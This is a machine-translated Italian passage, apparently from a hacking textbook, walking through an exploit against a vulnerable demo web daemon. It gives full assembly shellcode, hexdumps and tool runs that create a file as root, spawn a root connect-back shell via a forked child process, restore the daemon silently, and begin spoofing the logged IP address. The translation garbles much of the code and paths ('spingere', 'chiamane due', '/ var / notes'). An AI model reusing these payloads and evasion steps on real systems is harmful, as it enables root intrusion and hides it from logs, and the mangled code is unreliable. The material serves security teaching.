mmap2 (NULL, 1312164, PROT_READ | PROT_EXEC, MAP_PRIVATE | MAP_DENYWRITE, 3, 0) = 0xb7e92000
mmap2 (0xb7fcd000, 12288, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_DENYWRITE, 3, 0x13b) =
0xb7fcd000
mmap2 (0xb7fd0000, 9636, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_FIXED | MAP_ANONYMOUS, -1, 0) =
0xb7fd0000
chiudere (3) =0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7e91000
set_thread_area ({entry_number: -1 -> 6, base_addr: 0xb7e916c0, limite: 1048575, seg_32bit: 1,
contenuto: 0, read_exec_only: 0, limit_in_pages: 1, seg_not_present: 0, utilizzabile: 1}) = 0
mprotect (0xb7fcd000, 4096, PROT_READ) = 0
munmap (0xb7fd3000, 70799) =0
brk (0) = 0x804a000
brk (0x806b000) = 0x806b000
fstat64 (1, {st_mode = S_IFCHR | 0620, st_rdev = makedev (136, 2), ..}) = 0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7fe4000
write (1, "[DEBUG] buffer @ 0x804a008: \ 't" .., 37 [DEBUG] buffer @ 0x804a008:' test '
) = 37
write (1, "[DEBUG] datafile @ 0x804a070: \ '/" .., 43 [DEBUG] datafile @ 0x804a070:' / var / notes '
) = 43
open ("/ var / notes", O_WRONLY | O_APPEND | O_CREAT, 0600) = -1 EACCES (Autorizzazione negata)
dup (2) =3
fcntl64 (3, F_GETFL) = 0x2 (flag O_RDWR)
fstat64 (3, {st_mode = S_IFCHR | 0620, st_rdev = makedev (136, 2), ..}) = 0
mmap2 (NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) = 0xb7fe3000
_llseek (3, 0, 0xbffff4e4, SEEK_CUR) = -1 ESPIPE (ricerca illegale)
write (3, "[!!] Fatal Error in main () while" .., 65 [!!] Fatal Error in main () durante l'apertura del file:
Permesso negato
) = 65
chiudere (3) =0
munmap (0xb7fe3000, 4096) =0
exit_group (-1) =?
Processo 21473 staccato
reader @ hacking: ~ / booksrc $ grep open notetaker.c
fd = open (datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
fatal ("in main () durante l'apertura del file");
lettore @ hacking: ~ / booksrc $

Contromisure 337

Pagina 352

Quando si esegue strace, il bit suid del binario del notetaker non viene utilizzato, quindi
non dispone dell'autorizzazione per aprire il file di dati. Non importa, però;
vogliamo solo assicurarci che gli argomenti della chiamata di sistema open () corrispondano a
argomenti per la chiamata open () in C. Dal momento che corrispondono, possiamo tranquillamente usare i valori
passati alla funzione open () nel file binario di notetaker come argomenti per il file
chiamata di sistema open () nel nostro codice shell. Il compilatore ha già svolto tutto il lavoro
di cercare le definizioni e schiacciarle insieme a un'operazione OR bit a bit
azione; abbiamo solo bisogno di trovare gli argomenti della chiamata nello smontaggio della nota-
binario acquirente.

lettore @ hacking: ~ / booksrc $ gdb -q ./notetaker


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) set dis intel
(gdb) disass main
Dump del codice assembler per la funzione main:
0x0804875f <main + 0>: push ebp
0x08048760 <principale + 1>: mov ebp, esp
0x08048762 <principale + 3>: sub esp, 0x28
0x08048765 <main + 6>: ed esp, 0xfffffff0
0x08048768 <main + 9>: mov eax, 0x0
0x0804876d <main + 14>: sub esp, eax
0x0804876f <main + 16>: mov DWORD PTR [esp], 0x64
0x08048776 <main + 23>: chiama 0x8048601 <ec_malloc>
0x0804877b <main + 28>: mov DWORD PTR [ebp-12], eax
0x0804877e <main + 31>: mov DWORD PTR [esp], 0x14
0x08048785 <main + 38>: chiama 0x8048601 <ec_malloc>
0x0804878a <main + 43>: mov DWORD PTR [ebp-16], eax
0x0804878d <main + 46>: mov DWORD PTR [esp + 4], 0x8048a9f
0x08048795 <main + 54>: mov eax, DWORD PTR [ebp-16]
0x08048798 <main + 57>: mov DWORD PTR [esp], eax
0x0804879b <main + 60>: chiama 0x8048480 <strcpy @ plt>
0x080487a0 <main + 65>: cmp DWORD PTR [ebp + 8], 0x1
0x080487a4 <principale + 69>: jg 0x80487ba <principale + 91>
0x080487a6 <main + 71>: mov eax, DWORD PTR [ebp-16]
0x080487a9 <main + 74>: mov DWORD PTR [esp + 4], eax
0x080487ad <main + 78>: mov eax, DWORD PTR [ebp + 12]
0x080487b0 <main + 81>: mov eax, DWORD PTR [eax]
0x080487b2 <main + 83>: mov DWORD PTR [esp], eax
0x080487b5 <main + 86>: chiama 0x8048733 <usage>
0x080487ba <main + 91>: mov eax, DWORD PTR [ebp + 12]
0x080487bd <main + 94>: aggiungi eax, 0x4
0x080487c0 <main + 97>: mov eax, DWORD PTR [eax]
0x080487c2 <main + 99>: mov DWORD PTR [esp + 4], eax
0x080487c6 <main + 103>: mov eax, DWORD PTR [ebp-12]
0x080487c9 <main + 106>: mov DWORD PTR [esp], eax
0x080487cc <main + 109>: chiama 0x8048480 <strcpy @ plt>
0x080487d1 <main + 114>: mov eax, DWORD PTR [ebp-12]
0x080487d4 <main + 117>: mov DWORD PTR [esp + 8], eax
0x080487d8 <main + 121>: mov eax, DWORD PTR [ebp-12]
0x080487db <main + 124>: mov DWORD PTR [esp + 4], eax
0x080487df <main + 128>: mov DWORD PTR [esp], 0x8048aaa
0x080487e6 <main + 135>: chiama 0x8048490 <printf @ plt>
0x080487eb <main + 140>: mov eax, DWORD PTR [ebp-16]

338 0x600

Pagina 353

0x080487ee <main + 143>: mov DWORD PTR [esp + 8], eax


0x080487f2 <main + 147>: mov eax, DWORD PTR [ebp-16]
0x080487f5 <main + 150>: mov DWORD PTR [esp + 4], eax
0x080487f9 <main + 154>: mov DWORD PTR [esp], 0x8048ac7
0x08048800 <main + 161>: chiama 0x8048490 <printf @ plt>
0x08048805 <main + 166>: mov DWORD PTR [esp + 8], 0x180
0x0804880d <main + 174>: mov DWORD PTR [esp + 4], 0x441
0x08048815 <main + 182>: mov eax, DWORD PTR [ebp-16]
0x08048818 <main + 185>: mov DWORD PTR [esp], eax
0x0804881b <main + 188>: chiama 0x8048410 <open @ plt>
--- Digita <return> per continuare o q <return> per uscire --- q
Smettere
(gdb)

Ricorda che gli argomenti di una chiamata di funzione verranno inviati al file
impilare al contrario. In questo caso, il compilatore ha deciso di utilizzare mov DWORD PTR
[esp + offset ], value_to_push_to_stack invece delle istruzioni push , ma il file
la struttura costruita sullo stack è equivalente. Il primo argomento è un puntatore a
il nome del file in EAX, il secondo argomento ( messo in [esp + 4] ) è 0x441 ,
e il terzo argomento ( inserito in [esp + 8] ) è 0x180 . Ciò significa che O_WRONLY |
O_CREAT | O_APPEND risulta essere 0x441 e S_IRUSR | S_IWUSR è 0x180. Il
seguente shellcode utilizza questi valori per creare un file chiamato Hacked in
filesystem di root.

mark.s

BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg
spingere BYTE 0x6 ; Vicino ()
pop eax
int 0x80; Chiudi file.

xor eax, eax


mov ebx, eax
inc eax; Esci dalla chiamata.
int 0x80; Esci (0), per evitare un ciclo infinito.
uno:
chiamane due
db "/ HackedX"
; 01234567

Contromisure 339
Pagina 354

Lo shellcode apre un file per crearlo e quindi chiude immediatamente il file


file. Infine, chiama exit per evitare un ciclo infinito. L'output di seguito mostra questo
nuovo shellcode utilizzato con lo strumento exploit.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ nasm mark.s
reader @ hacking: ~ / booksrc $ hexdump -C mark
00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |. # [1.KjXf.A.1 |
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 c0 | .f .... jX1. |
00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |. @ .... / Hacke |
00000030 64 58 | dX |
00000032
lettore @ hacking: ~ / booksrc $ ls -l / Hacked
ls: / Hacked: nessun file o directory di questo tipo
reader @ hacking: ~ / booksrc $ ./xtool_tinywebd_steath.sh mark 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: mark (44 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ ls -l / Hacked
-rw ------- 1 lettore di root 0 2007-09-17 16:59 / Hacked
lettore @ hacking: ~ / booksrc $

0x652 Rimettere insieme le cose


Per rimettere insieme le cose, dobbiamo solo riparare eventuali danni collaterali
causato dalla sovrascrittura e / o dallo shellcode, quindi salta indietro l'esecuzione
nel ciclo di accettazione della connessione in main () . Lo smontaggio di main () in
l'output sotto mostra che possiamo tranquillamente tornare agli indirizzi 0x08048f64 ,
0x08048f65 o 0x08048fb7 per tornare al ciclo di accettazione della connessione.

reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump del codice assembler per la funzione main:
0x08048d93 <main + 0>: push ebp
0x08048d94 <main + 1>: mov ebp, esp
0x08048d96 <principale + 3>: sub esp, 0x68
0x08048d99 <main + 6>: ed esp, 0xfffffff0
0x08048d9c <main + 9>: mov eax, 0x0
0x08048da1 <main + 14>: sub esp, eax

.: [output tagliato] :.

0x08048f4b <main + 440>: mov DWORD PTR [esp], eax


0x08048f4e <main + 443>: chiama 0x8048860 <listen @ plt>
0x08048f53 <main + 448>: cmp eax, 0xffffffff
0x08048f56 <main + 451>: jne 0x8048f64 <main + 465>
0x08048f58 <main + 453>: mov DWORD PTR [esp], 0x804961a

340 0x600

Pagina 355

0x08048f5f <main + 460>: chiama 0x8048ac4 <fatale>


0x08048f64 <main + 465>: nop
0x08048f65 <main + 466>: mov DWORD PTR [ebp-60], 0x10
0x08048f6c <main + 473>: lea eax, [ebp-60]
0x08048f6f <main + 476>: mov DWORD PTR [esp + 8], eax
0x08048f73 <main + 480>: lea eax, [ebp-56]
0x08048f76 <main + 483>: mov DWORD PTR [esp + 4], eax
0x08048f7a <main + 487>: mov eax, ds: 0x804a970
0x08048f7f <main + 492>: mov DWORD PTR [esp], eax
0x08048f82 <main + 495>: chiama 0x80488d0 <accept @ plt>
0x08048f87 <main + 500>: mov DWORD PTR [ebp-12], eax
0x08048f8a <main + 503>: cmp DWORD PTR [ebp-12], 0xffffffff
0x08048f8e <main + 507>: jne 0x8048f9c <main + 521>
0x08048f90 <main + 509>: mov DWORD PTR [esp], 0x804962e
0x08048f97 <main + 516>: chiama 0x8048ac4 <fatale>
0x08048f9c <main + 521>: mov eax, ds: 0x804a96c
0x08048fa1 <main + 526>: mov DWORD PTR [esp + 8], eax
0x08048fa5 <main + 530>: lea eax, [ebp-56]
0x08048fa8 <main + 533>: mov DWORD PTR [esp + 4], eax
0x08048fac <main + 537>: mov eax, DWORD PTR [ebp-12]
0x08048faf <main + 540>: mov DWORD PTR [esp], eax
0x08048fb2 <main + 543>: chiama 0x8048fb9 <handle_connection>
0x08048fb7 <main + 548>: jmp 0x8048f65 <main + 466>
Fine del dump dell'assemblatore.
(gdb)

Tutti e tre questi indirizzi vanno fondamentalmente nello stesso posto. Facciamo
utilizzare 0x08048fb7 poiché questo è l'indirizzo di ritorno originale utilizzato per la chiamata a
handle_connection () . Tuttavia, ci sono altre cose che dobbiamo risolvere prima.
Guarda il prologo della funzione e l'epilogo per handle_connection () . Questi
sono le istruzioni che impostano e rimuovono le strutture dello stack frame
la pila.

(gdb) disassegna handle_connection


Dump del codice assembler per la funzione handle_connection:
0x08048fb9 <handle_connection + 0>: push ebp
0x08048fba <handle_connection + 1>: mov ebp, esp
0x08048fbc <handle_connection + 3>: push ebx
0x08048fbd <handle_connection + 4>: sub esp, 0x644
0x08048fc3 <handle_connection + 10>: lea eax, [ebp-0x218]
0x08048fc9 <handle_connection + 16>: mov DWORD PTR [esp + 4], eax
0x08048fcd <handle_connection + 20>: mov eax, DWORD PTR [ebp + 8]
0x08048fd0 <handle_connection + 23>: mov DWORD PTR [esp], eax
0x08048fd3 <handle_connection + 26>: chiama 0x8048cb0 <recv_line>
0x08048fd8 <handle_connection + 31>: mov DWORD PTR [ebp-0x620], eax
0x08048fde <handle_connection + 37>: mov eax, DWORD PTR [ebp + 12]
0x08048fe1 <handle_connection + 40>: movzx eax, WORD PTR [eax + 2]
0x08048fe5 <handle_connection + 44>: mov DWORD PTR [esp], eax
0x08048fe8 <handle_connection + 47>: chiama 0x80488f0 <ntohs @ plt>

.: [output tagliato] :.

0x08049302 <handle_connection + 841>: chiama 0x8048850 <write @ plt>

Contromisure 341

Pagina 356

0x08049307 <handle_connection + 846>: mov DWORD PTR [esp + 4], 0x2


0x0804930f <handle_connection + 854>: mov eax, DWORD PTR [ebp + 8]
0x08049312 <handle_connection + 857>: mov DWORD PTR [esp], eax
0x08049315 <handle_connection + 860>: chiama 0x8048800 <shutdown @ plt>
0x0804931a <handle_connection + 865>: aggiungi esp, 0x644
0x08049320 <handle_connection + 871>: pop ebx
0x08049321 <handle_connection + 872>: pop ebp
0x08049322 <handle_connection + 873>: ret
Fine del dump dell'assemblatore.
(gdb)

All'inizio della funzione, il prologo della funzione salva la corrente


valori dei registri EBP ed EBX inserendoli nello stack e imposta
EBP al valore corrente di ESP in modo che possa essere utilizzato come punto di riferimento per
accedere alle variabili dello stack. Infine, 0x644 byte vengono salvati nello stack per questi
impilare le variabili sottraendo da ESP. L'epilogo della funzione alla fine
ripristina ESP aggiungendo di nuovo 0x644 e ripristina i valori salvati di EBX
e EBP rimuovendoli dallo stack nei registri.
Le istruzioni di sovrascrittura si trovano effettivamente nella funzione recv_line ()
zione; tuttavia, scrivono sui dati nello stack frame handle_connection () , quindi
la sovrascrittura stessa avviene in handle_connection () . L'indirizzo del mittente quello
sovrascriviamo viene inserito nello stack quando viene chiamato handle_connection () , quindi il file
valori salvati per EBP ed EBX inseriti nello stack nel prologo della funzione
sarà tra l'indirizzo di ritorno e il buffer corruttibile. Questo significa
che EBP ed EBX verranno alterati quando viene eseguita la funzione epilogo.
Dal momento che non otteniamo il controllo dell'esecuzione del programma fino al ritorno
istruzione, tutte le istruzioni tra la sovrascrittura e l'istruzione di ritorno
deve essere eseguita. Innanzitutto, dobbiamo valutare l'entità del danno collaterale
viene eseguito da queste istruzioni aggiuntive dopo la sovrascrittura. Le istruzioni di montaggio
ion int3 crea il byte 0xcc , che è letteralmente un punto di interruzione del debug.
Lo shellcode seguente utilizza un'istruzione int3 invece di uscire. Questa rottura
punto verrà catturato da GDB, permettendoci di esaminare lo stato esatto del file
programma dopo l'esecuzione dello shellcode.

mark_break.s

BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg

342 0x600

Pagina 357

spingere BYTE 0x6 ; Vicino ()


pop eax
int 0x80; Chiudi file.

int3; zinterrupt
uno:
chiamane due
db "/ HackedX"

Per utilizzare questo codice shell, prima imposta GDB per eseguire il debug del daemon tinyweb.
In uscita al di sotto, un punto di interruzione è impostato destra prima handle_connection () è
chiamato. L'obiettivo è ripristinare i registri alterati al loro stato originale
trovato in questo punto di interruzione.

lettore @ hacking: ~ / booksrc $ ./tinywebd


Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd
radice 23497 0,0 0,0 1636 356? Ss 17:08 0:00 ./tinywebd
lettore 23506 0,0 0,0 2880748 punti / 1 R + 17:09 0:00 grep tinywebd
reader @ hacking: ~ / booksrc $ gcc -g tinywebd.c
reader @ hacking: ~ / booksrc $ sudo gdb -q -pid = 23497 --symbols =. / a.out

avviso: non si utilizza un file non attendibile "/home/reader/.gdbinit"


Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
Collegamento al processo 23497
/ cow / home / reader / booksrc / tinywebd: nessun file o directory di questo tipo.
È già in corso il debug di un programma. Uccidilo? (y o n) n
Programma non terminato.
(gdb) set dis intel
(gdb) x / 5i principale + 533
0x8048fa8 <main + 533>: mov DWORD PTR [esp + 4], eax
0x8048fac <main + 537>: mov eax, DWORD PTR [ebp-12]
0x8048faf <main + 540>: mov DWORD PTR [esp], eax
0x8048fb2 <main + 543>: chiama 0x8048fb9 <handle_connection>
0x8048fb7 <main + 548>: jmp 0x8048f65 <main + 466>
(gdb) break * 0x8048fb2
Breakpoint 1 in 0x8048fb2: file tinywebd.c, riga 72.
(gdb) cont
Continuando.

Nel precedente esempio, una breakpoint si trova proprio prima handle_connection () è


chiamato (mostrato in grassetto). Quindi, in un'altra finestra di terminale, lo strumento di exploit è
utilizzato per lanciare il nuovo shellcode su di esso. Questo farà avanzare l'esecuzione fino alla rottura-
punto nell'altro terminale.

lettore @ hacking: ~ / booksrc $ nasm mark_break.s


lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd.sh mark_break 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: mark_break (44 byte)
[NOP (372 byte)] [codice shell (44 byte)] [ret addr (128 byte)]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $

Contromisure 343

Pagina 358

Di nuovo nel terminale di debug, viene rilevato il primo punto di interruzione.


Vengono visualizzati alcuni importanti registri dello stack, che mostrano l'impostazione dello stack
prima (e dopo) la chiamata handle_connection () . Quindi, l'esecuzione continua
alla int3 istruzione in shellcode, che agisce come un punto di interruzione. Poi
questi registri dello stack vengono controllati di nuovo per visualizzare il loro stato al momento
shellcode inizia ad essere eseguito.

Breakpoint 1, 0x08048fb2 in main () su tinywebd.c: 72


72 handle_connection (new_sockfd, & client_addr, logfd);
(gdb) ir esp ebx ebp
esp 0xbffff7e0 0xbffff7e0
ebx 0xb7fd5ff4 -1208131596
ebp 0xbffff848 0xbffff848
(gdb) cont
Continuando.

Il programma ha ricevuto il segnale SIGTRAP, Trace / breakpoint trap.


0xbffff753 in ?? ()
(gdb) ir esp ebx ebp
esp 0xbffff7e0 0xbffff7e0
ebx 0x6 6
ebp 0xbffff624 0xbffff624
(gdb)

Questo output mostra che EBX e EBP vengono modificati nel punto in cui
il codice inizia l'esecuzione. Tuttavia, un controllo delle istruzioni in main () s'
lo smontaggio mostra che EBX non è effettivamente utilizzato. Il compilatore probabilmente ha salvato
questo registro nello stack a causa di alcune regole sulla convenzione di chiamata, anche
sebbene non sia realmente utilizzato. L'EBP, tuttavia, è usato pesantemente, poiché è il punto
di riferimento per tutte le variabili dello stack locale. Perché il valore originale salvato di
EBP è stato sovrascritto dal nostro exploit, il valore originale deve essere ricreato.
Quando EBP viene ripristinato al suo valore originale, lo shellcode dovrebbe essere in grado
per fare il suo lavoro sporco e poi tornare in main () come al solito. Poiché il comp
i puter sono deterministici, le istruzioni di montaggio spiegheranno chiaramente come
per fare tutto questo.

(gdb) set dis intel


(gdb) x / 5i principale
0x8048d93 <main>: push ebp
0x8048d94 <principale + 1>: mov ebp, esp
0x8048d96 <principale + 3>: sub esp, 0x68
0x8048d99 <main + 6>: ed esp, 0xfffffff0
0x8048d9c <main + 9>: mov eax, 0x0
(gdb) x / 5i principale + 533
0x8048fa8 <main + 533>: mov DWORD PTR [esp + 4], eax
0x8048fac <main + 537>: mov eax, DWORD PTR [ebp-12]
0x8048faf <main + 540>: mov DWORD PTR [esp], eax
0x8048fb2 <main + 543>: chiama 0x8048fb9 <handle_connection>
0x8048fb7 <main + 548>: jmp 0x8048f65 <main + 466>
(gdb)

344 0x600

Pagina 359

Una rapida occhiata al prologo della funzione per main () mostra che EBP dovrebbe
essere 0x68 byte più grandi di ESP. Poiché ESP non è stato danneggiato dal nostro exploit, noi
può ripristinare il valore per EBP aggiungendo 0x68 a ESP alla fine della nostra shell-
codice. Con EBP ripristinato al valore corretto, l'esecuzione del programma può
essere restituito in modo sicuro nel ciclo di accettazione della connessione. Il giusto ritorno
l'indirizzo per la chiamata handle_connection () è l'istruzione trovata dopo la chiamata
a 0x08048fb7 . Il seguente codice shell utilizza questa tecnica.

mark_restore.s

BITS 32
; Segna il filesystem per dimostrare che hai eseguito.
jmp breve
Due:
pop ebx ; Nome del file
xor ecx, ecx
mov BYTE [ebx + 7], cl; Null termina il nome del file
spingere BYTE 0x5 ; Aperto()
pop eax
mov WORD cx, 0x441; O_WRONLY | O_APPEND | O_CREAT
xor edx, edx
mov WORD dx, 0x180; S_IRUSR | S_IWUSR
int 0x80 ; Apri il file per crearlo.
; eax = descrittore di file restituito
mov ebx, eax ; Descrittore di file al secondo arg
spingere BYTE 0x6 ; Vicino ()
pop eax
int 0x80; chiudi file

lea ebp, [esp + 0x68]; Ripristina EBP.


push 0x08048fb7; Indirizzo di ritorno.
ret ; Ritorno
uno:
chiamane due
db "/ HackedX"

Quando assemblato e utilizzato in un exploit, questo codice shell ripristinerà il file


l'esecuzione del demone tinyweb dopo aver contrassegnato il filesystem. Il tinyweb
daemon non sa nemmeno che è successo qualcosa.

lettore @ hacking: ~ / booksrc $ nasm mark_restore.s


lettore @ hacking: ~ / booksrc $ hexdump -C mark_restore
00000000 eb 26 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |. & [1.KjXf.A.1 |
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 8d 6c | .f .... jX.l |
00000020 24 68 68 b7 8f 04 08 c3 e8 d5 ff ff ff 2f 48 61 | $ hh ..... / Ha |
00000030 63 6b 65 64 58 | ckedX |
00000035
lettore @ hacking: ~ / booksrc $ sudo rm / Hacked
lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_steath.sh mark_restore 127.0.0.1
IP di destinazione: 127.0.0.1

Contromisure 345

Pagina 360

shellcode: mark_restore (53 byte)


richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request (15 b)] [NOP (348 b)] [shellcode (53 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ ls -l / Hacked
-rw ------- 1 lettore di root 0 2007-09-19 20:37 / Hacked
lettore @ hacking: ~ / booksrc $ ps aux | grep tinywebd
radice 26787 0,0 0,0 1636420? SS 20:37 0:00 ./tinywebd
lettore 26828 0,0 0,0 2880748 punti / 1 R + 20:38 0:00 grep tinywebd
lettore @ hacking: ~ / booksrc $ ./webserver_id 127.0.0.1
Il server web per 127.0.0.1 è Tiny webserver
lettore @ hacking: ~ / booksrc $

0x653 Bambini lavoratori


Ora che la parte difficile è stata risolta, possiamo usare questa tecnica in silenzio
genera un guscio di radice. Poiché la shell è interattiva, vogliamo comunque il processo
per gestire le richieste web, dobbiamo eseguire il fork su un processo figlio. La chiamata fork ()
crea un processo figlio che è una copia esatta del genitore, tranne per il fatto che restituisce
0 nel processo figlio e il nuovo ID processo nel processo padre. Vogliamo
il nostro codice shell da biforcare e il processo figlio per servire la shell di root, mentre
il processo genitore ripristina l'esecuzione di tinywebd. Nello shellcode di seguito,
vengono aggiunte diverse istruzioni all'inizio di loopback_shell.s. Primo, la forchetta
syscall viene eseguito e il valore restituito viene inserito nel registro EAX. I prossimi
test delle istruzioni per vedere se EAX è zero. Se EAX è zero, passiamo a child_process
per generare il guscio. Altrimenti, siamo nel processo genitore, quindi lo shellcode
ripristina l'esecuzione in tinywebd.

loopback_shell_restore.s

BITS 32

premere BYTE 0x02; Fork è syscall # 2


pop eax
int 0x80 ; Dopo il fork, nel processo figlio eax == 0.
prova eax, eax
jz child_process; Nel processo figlio genera un guscio.

; Nel processo genitore, ripristina tinywebd.


lea ebp, [esp + 0x68]; Ripristina EBP.
push 0x08048fb7; Indirizzo di ritorno.
ret ; Ritorno

child_process:
; s = presa (2, 1, 0)
push BYTE 0x66; Socketcall è syscall # 102 (0x66)
pop eax
cdq ; Azzera edx da utilizzare come DWORD nullo in seguito.
xor ebx, ebx; ebx è il tipo di socketcall.
inc ebx ; 1 = SYS_SOCKET = socket ()

346 0x600

Pagina 361
push edx ; Crea array arg: {protocollo = 0,
premere BYTE 0x1; (al contrario) SOCK_STREAM = 1,
spingere BYTE 0x2; AF_INET = 2}
mov ecx, esp; ecx = ptr nell'array degli argomenti
int 0x80 ; Dopo syscall, eax ha il descrittore di file socket.
.: [Uscita tagliata; il resto è lo stesso di loopback_shell.s. ]:.

Il seguente elenco mostra questo codice shell in uso. Vengono utilizzati più lavori
invece di più terminali, così l'ascoltatore netcat viene inviato in background
terminando il comando con una e commerciale ( & ). Dopo che la shell si connette
indietro, il comando fg riporta l'ascoltatore in primo piano. Il processo
viene quindi sospeso premendo CTRL -Z, che ritorna alla shell BASH. Potrebbe
sarà più facile per te usare più terminali mentre segui, ma lavoro
il controllo è utile sapere per quelle volte in cui non hai il lusso di
più terminali.

reader @ hacking: ~ / booksrc $ nasm loopback_shell_restore.s


lettore @ hacking: ~ / booksrc $ hexdump -C loopback_shell_restore
00000000 6a 02 58 cd 80 85 c0 74 0a 8d 6c 24 68 68 b7 8f | jX.tl $ hh. |
00000010 04 08 c3 6a 66 58 99 31 db 43 52 6a 01 6a 02 89 | ..jfX.1.CRj.j. |
00000020 e1 cd 80 96 6a 66 58 43 68 7f bb bb 01 66 89 54 | ..jfXCh..fT |
00000030 24 01 66 68 7a 69 66 53 89 e1 6a 10 51 56 89 e1 | $ .fhzifS.j.QV. |
00000040 43 cd 80 87 f3 87 ce 49 b0 3f cd 80 49 79 f9 b0 | C ... I.?. Iy. |
00000050 0b 52 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 52 89 | .Rh // shh / bin.R. |
00000060 e2 53 89 e1 cd 80 | .S .. |
00000066
lettore @ hacking: ~ / booksrc $ ./tinywebd
Avvio di un piccolo demone web.
lettore @ hacking: ~ / booksrc $ nc -l -p 31337 &
[1] 27279
lettore @ hacking: ~ / booksrc $ ./xtool_tinywebd_steath.sh loopback_shell_restore 127.0.0.1
IP di destinazione: 127.0.0.1
shellcode: loopback_shell_restore (102 byte)
richiesta falsa: "GET / HTTP / 1.1 \ x00" (15 byte)
[Fake Request (15 b)] [NOP (299 b)] [shellcode (102 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) aperto
lettore @ hacking: ~ / booksrc $ fg
nc -l -p 31337
chi sono
radice

[1] + Fermato nc -l -p 31337


lettore @ hacking: ~ / booksrc $ ./webserver_id 127.0.0.1
Il server web per 127.0.0.1 è Tiny webserver
lettore @ hacking: ~ / booksrc $ fg
nc -l -p 31337
chi sono
radice

Con questo codice shell, la shell di root connect-back è mantenuta da un file


processo figlio separato, mentre il processo genitore continua a servire web
soddisfare.

Contromisure 347

Pagina 362

0x660 Mimetica avanzata

Il nostro attuale exploit stealth camuffa solo la richiesta web; comunque, il


L'indirizzo IP e il timestamp vengono ancora scritti nel file di registro. Questo tipo di camuffamento
flage renderà gli attacchi più difficili da trovare, ma non sono invisibili. Avere
il tuo indirizzo IP scritto nei log che potrebbero essere conservati per anni potrebbe portare a
guai in futuro. Dato che stiamo scherzando con gli interni del file
Daemon tinyweb ora, dovremmo essere in grado di nascondere la nostra presenza ancora meglio.

0x661 Spoofing dell'indirizzo IP registrato


L'indirizzo IP scritto nel file di registro proviene da client_addr_ptr , ovvero
passato a handle_connection () .

Segmento di codice da tinywebd.c

void handle_connection (int sockfd, struct sockaddr_in * client_addr_ptr , int logfd) {


char non firmato * ptr, richiesta [500], risorsa [500], log_buffer [500];
int fd, length;

length = recv_line (sockfd, richiesta);

sprintf (log_buffer, "From% s:% d \"% s \ "\ t", inet_ntoa ( client_addr_ptr-> sin_addr ),
ntohs ( client_addr_ptr-> sin_port ), richiesta);

Per falsificare l'indirizzo IP, dobbiamo solo iniettare il nostro sockaddr_in


struttura e sovrascrivi client_addr_ptr con l'indirizzo del file iniettato
struttura. Il modo migliore per generare una struttura sockaddr_in per l'iniezione è quello di
scrivi un piccolo programma in C che crea e scarica la struttura. Il seguente
il codice sorgente crea la struttura utilizzando gli argomenti della riga di comando e quindi scrive
i dati della struttura direttamente nel descrittore di file 1, che è lo standard output.

addr_struct.c

#include <stdio.h>
#include <stdlib.h>
#include <sys / socket.h>
#include <netinet / in.h>
int main (int argc, char * argv []) {
struct sockaddr_in addr;
if (argc! = 3) {
printf ("Utilizzo:% s <IP di destinazione> <porta di destinazione> \ n", argv [0]);
uscita (0);
}
addr.sin_family = AF_INET;
addr.sin_port = htons (atoi (argv [2]));
addr.sin_addr.s_addr = inet_addr (argv [1]);

scrivi (1, & addr, sizeof (struct sockaddr_in));


}

348 0x600

Pagina 363

Questo programma può essere utilizzato per iniettare una struttura sockaddr_in . Il risultato
